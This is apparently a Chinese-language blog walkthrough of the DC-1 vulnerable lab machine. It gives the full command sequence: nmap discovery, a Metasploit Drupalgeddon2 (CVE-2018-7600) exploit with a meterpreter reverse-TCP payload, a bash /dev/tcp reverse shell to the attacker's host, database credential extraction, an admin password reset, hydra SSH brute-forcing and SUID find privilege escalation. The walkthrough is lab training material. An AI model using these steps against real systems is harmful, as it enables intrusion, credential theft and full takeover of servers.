firewall-cmd --reload
DC-1 靶机实战
打开测试靶机DC-1
![](https://i-blog.csdnimg.cn/direct/b100b63fb3c14153a913f0cb786444f4.png)
查看网络配置,及网卡
![](https://i-blog.csdnimg.cn/direct/c5103d1bd49e4d78b92cf967336b2216.png)
靶机使用NAT 模式,得到其MAC地址
使用nmap 工具扫描内网网段
nmap -sP 192.168.1.144/24 -oN nmap.Sp
![](https://i-blog.csdnimg.cn/direct/6f51f6dacbd244eabe382e52f136a069.png)
MAC 对照得到其IP地址
对其详细进行扫描
nmap -A 192.168.1.158 -p 1-65535 -oN nmap.A
![](https://i-blog.csdnimg.cn/direct/2719fe0e2ff24f3a80a523d9f68227df.png)
可以看到其80 22 端口都是开放的
在80端口下,我们可以看到其网站的模板为:Drupal 7
22 爆破
80 drupal CMS
国外三大PHP CMS 之一
drupal
wordpress
joomla
其80端口开放,我们可以使用浏览器直接访问IP地址
![](https://i-blog.csdnimg.cn/direct/5cd89535498f4dff91d9f0cee9a5e76c.png)
MSF
通过使用MSF 直接搜索该网站模板存在的漏洞
启动
msfconsole
search drupal
![](https://i-blog.csdnimg.cn/direct/6f60eb28187a49e3a219de3bb7d63475.png)
使用该攻击模块
![](https://i-blog.csdnimg.cn/direct/266488a98419494aa8b3c8b600fab604.png)
通过查看References来查看该漏洞的详细信息;
References:
https://cvedetails.com/cve/CVE-2018-7600/
https://www.drupal.org/sa-core-2018-002
https://greysec.net/showthread.php?tid=2912
https://research.checkpoint.com/uncovering-drupalgeddon-2/
https://github.com/a2u/CVE-2018-7600
https://github.com/nixawk/labs/issues/19
https://github.com/FireFart/CVE-2018-7600
![](https://i-blog.csdnimg.cn/direct/4dcd22a9731d4c12b49f1d216fe6e10d.png)
选择攻击载荷
set payload php/meterpreter/reverse_tcp
![](https://i-blog.csdnimg.cn/direct/4d9dc354b67241798b37d57a9154c867.png)
缺少目标地址,源地址
添加
set RHOSTS 192.168.1.158
set LHOST 192.168.1.150
攻击
![](https://i-blog.csdnimg.cn/direct/b4ac1032b61b4a569b77ee227b1117d2.png)
拿到shell
flag1
![](https://i-blog.csdnimg.cn/direct/50b44b5c721643a9bb31869d57643d42.png)
Every good CMS needs a config file - and so do you.
这句话 指引我们,应该去找的该网站的配置文件
所在目录:
sites/default/
flag2
cat sites/default/settings.php
![](https://i-blog.csdnimg.cn/direct/f8d8ae446ee340028fe76b3c075341c3.png)
'database' => 'drupaldb',
'username' => 'dbuser',
'password' => 'R0ck3t',
'host' => 'localhost',
shell
进入交互式界面
![](https://i-blog.csdnimg.cn/direct/7ab86d8f29f34babbe566bd9c041f2fd.png)
尝试进行数据库连接
mysql -udbuser -pR0ck3t
连接失败
考虑反弹shell
反弹shell
本地监听2333端口
nc -lvvp 2333
![](https://i-blog.csdnimg.cn/direct/2b15eb58d4434e37a6486f4fe958ccfe.png)
bash -i >& /dev/tcp/192.168.1.150/2333 0>&1
直接反弹失败
借助python 反弹
python -c 'import pty;pty.spawn("/bin/bash")'
www-data@DC-1:/var/www/sites/default$ bash -i >& /dev/tcp/192.168.1.150/2333 0>&1
反弹成功
![](https://i-blog.csdnimg.cn/direct/553a854f853a4ffaac18edb469d4ed69.png)
登录数据库
尝试在反弹shell 下执行连接数据库
还是失败了
但是我们发现有意思的事情,我们在kali 本机的python 交互式环境下可以成功连接到数据库
www-data@DC-1:/var/www/sites/default$ mysql -udbuser -pR0ck3t
登入成功
![](https://i-blog.csdnimg.cn/direct/54763efe84e54f3790e9cc58591ffa1d.png)
进入数据库drupladb
查询users数据表
select * from users\G
![](https://i-blog.csdnimg.cn/direct/3724c45188d44b4e8d10defd82eb82d7.png)
重置后台管理员密码
重置admin 用户密码
这里我们破解admin 用户密码要耗费时间,我们可以考虑重置admin 用户密码,使用drupal 自带脚本重新生成密码。
php scripts/password-hash.sh admin
![](https://i-blog.csdnimg.cn/direct/ab33e87f0c5d44eda524ceb1cedd1fd9.png)
password: admin hash: SD9/EB/sN8TEfNaCZ74SqGVO0xxuOe/8fZI3LCOMVXSOqiqfNDwDt
更新users 表
update users set pass="SD9/EB/sN8TEfNaCZ74SqGVO0xxuOe/8fZI3LCOMVXSOqiqfNDwDt" where uid=1;
![](https://i-blog.csdnimg.cn/direct/1501a36da5644170966922f7fcaa74e1.png)
更新成功
flag3
![](https://i-blog.csdnimg.cn/direct/890873e1e57b45e9b17bd7eae96601aa.png)
![](https://i-blog.csdnimg.cn/direct/3fff322a5f314c1b927e2d7a6e90fd19.png)
![](https://i-blog.csdnimg.cn/direct/c72e5a34a3a547e9aa1acd38c1a40812.png)
提示我们 etc/passwd
flag4
![](https://i-blog.csdnimg.cn/direct/e4b9face4aff430f8ad4e60a0a1b193f.png)
可以看到我们的flag4 用户是可以登录的
接下来我们使用hydra 爆破,该用户密码
hydra -l flag4 -P /usr/share/john/password.lst 192.168.1.158 ssh -vV -f -o hydra.ssh
![](https://i-blog.csdnimg.cn/direct/3e14f5445a5f48d59c2a5dd9ef959d69.png)
![](https://i-blog.csdnimg.cn/direct/067e0c8e7cdc45bfbf97035caf2f5577.png)
我们进入/root 家目录,发现没有权限
是否有一些命令具有SUID 标志
find / -perm -4000 2>/dev/null
![](https://i-blog.csdnimg.cn/direct/f5fbbc13db624c79aebd0e1cb6e4ac97.png)
利用操作系统内核提权
mkdir
find GGG -exec "whoami" \;
find GGG -exec "/bin/sh" \;
![](https://i-blog.csdnimg.cn/direct/3305eb5dccd746b49b4314336b7cae1b.png)
测试完成
![](https://i-blog.csdnimg.cn/direct/30bc5a58980f4b93bdb4a6d1cdf33c40.png)